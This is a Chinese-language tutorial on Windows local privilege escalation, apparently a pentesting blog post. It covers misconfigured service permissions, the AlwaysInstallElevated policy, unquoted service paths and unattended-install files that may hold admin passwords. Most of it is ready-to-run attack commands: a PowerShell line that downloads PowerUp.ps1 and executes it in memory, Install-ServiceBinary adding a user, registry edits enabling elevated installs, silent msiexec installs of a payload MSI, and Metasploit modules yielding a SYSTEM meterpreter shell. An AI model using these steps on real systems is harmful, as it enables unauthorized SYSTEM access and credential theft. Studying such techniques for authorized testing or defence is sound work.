0x01 概述
windows系统服务文件在操作系统启动时加载和运行,并在后台调用可执行文件。因此,如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限。windows服务是以system权限运行的,因此,其文件夹,文件和注册表键值都是受强访问控制机制保护的。但是在一些情况下操作系统中任然存在一些没有得到有效保护的服务
系统服务权限配置错误有如下两种可能:
服务未启动:攻击者可以使用任意服务替换原来的服务,然后重启服务
服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用场景,攻击者通常会利用dll劫持技术并尝试重启服务来提权
0x02 powerup
下载地址
powerup提供了一些本地提权的方法,可以通过很多实用的脚本来寻找目标机器的windows服务漏洞
三种加载方式
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1‘); Invoke-AllChecks"
powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘c:/PowerUp.ps1‘);Invoke-AllChecks”
可以看到powerup列出了可能存在问题的服务,在AbuseFunction部分直接给出了利用方式
icacls "C:\Program Files\Windows Media Player\wmpnetwk.exe"
"Everyone" 用户对这个文件有完全控制权,就是说所有用户都具有全部权限修改这个文件夹。
参数说明:"M" 表示修改,"F" 代表完全控制,"CI" 代表从属容器将继承访问控制项,"OI" 代表从属文件将继承访问控制项。这意味着对该目录有读,写,删除其下的文件,删除该目录下的子目录的权限
如图说了利用Install-ServiceBinary模块,通过Write-ServiceBinary编写一个c#服务来添加一个用户
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString(‘./PowerUp.ps1‘);Install-ServiceBinary -ServiceName ‘rpcapd‘ -UserName test -Password test
重启服务生效
0x03 msf
在msf种对应的模块为exploit/windows/local/service_permissions需要提前获取一个session
0x04 注册表键AlwaysInstallElevated
注册表键AlwaysInstallElevated是一个策略设置项。windows允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限用户都能以NT AUTHORITY\SYSTEM权限来安装恶意的MSI(Microsoft Windows Installer)文件
运行gpedit.msc打开组策略编辑器
然后开启
同样设置
命令行下的启用方法:
创建以下两个注册表项:
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer,AlwaysInstallElevated,1
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer,AlwaysInstallElevated,1
cmd的命令如下:
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
利用方法:
启用AlwaysInstallElevated后,可以通过命令行调用msiexec安装msi文件,msi文件内包含要执行的Payload,Payload将会以System权限执行
调用msiexec的命令如下:
msiexec /q /i test.msi
/i参数用来表示安装操作
/q参数用来隐藏安装界面
设置好了后我们换个普通用户登录
测试是否启用AlwaysInstallElevated
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1;Get-RegistryAlwaysInstallElevated}"
返回true
导出msi文件,当前目录生成UserAdd.msi
Import-Module .\PowerUp.ps1
Write-UserAddMSI
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1;Write-UserAddMSI}"
命令行执行(当前用户权限)
msiexec /q /i UserAdd.msi
/i参数用来表示安装操作
/q参数用来隐藏安装界面
提权成功
0x05 可信任服务路径漏洞
windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。
例如,有如下的文件路径:
C:\Program Files\Some Folder\Service.exe
对于上面文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字向匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
所以如果我们能够上传一个适当命名的恶意可执行程序在受影响的目录,服务一旦重启,我们的恶意程序就会以system权限运行(大多数情况下)。
首先检测目标机器是否存在该漏洞,使用wmic查询命令,列出机器中所有没有被引号引起来的服务的路径
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
可以看到,有“Vulnerable Service”、“OmniServ”、“OmniServer”、“OmniServers”四个服务对应的二进制文件路径没有引号包含起来,并且路径中包含空格。是存在该漏洞的,但在上传可执行文件进去之前,我们需要确定我们对目标文件夹是否有写入的权限。
2.检查对有漏洞目录是否有写入的权限,这个很关键
这里我们使用Windows内建的一个工具,icacls,下面我们用这个工具依次来检查“C:\Program Files”、“C:\Program Files\Common Files”、“C:\Program Files\Common Files\microsoftshared”等目录的权限,都提示权限不够。如下图所示。
很幸运,直到我们尝试到最后一个“C:\Program Files\Program Folder”文件夹时成功了,看到Everyone(OI)(CI)(F)没有。如下图所示
“Everyone”用户对这个文件有完全控制权,就是说所有用户都具有全部权限修改这个文件夹。
参数说明:“M”表示修改,“F”代表完全控制,“CI”代表从属容器将继承访问控制项,“OI”代表从属文件将继承访问控制项。这意味着对该目录有读,写,删除其下的文件,删除该目录下的子目录的权限。
3.我们确认了目标主机存在此漏洞后,将便开始正式攻击
Metasploit中相对应的是Windows Service Trusted Path Privilege Escalation本地利用模块,该模块会将恶意的可执行程序放到受影响的文件夹中去,然后将受影响的服务重启。接着我们输入命令background,把当前的meterpreter shell转为后台执行。然后在Metasploit中搜索trusted_service_path模块。如下图所示。
4.使用该exploit程序,并设置相关参数,如下图所示。
输入run命令,可以看到自动反弹了一个新的meterpreter,我们在此meterpreter shell下输入getuid 发现是system 权限,如下图所示。证明我们已经提权成功了。
0x06 自动安装配置文件
网络管理员在内网中给多台计算器配置同一个环境时,通常不会逐台配置,而会使用脚本化批量部署的方法,这个过程就会使用安装配置文件。这些文件中包含的安装配置信息,其中还可以包含管理员账号密码等等可以执行一下命令搜索Unattend.xml文件
dir /b /s c:\Unattend.xml
msf集成了该漏洞模块post/windows/gather/enum_unattend
在本地生成了一个文件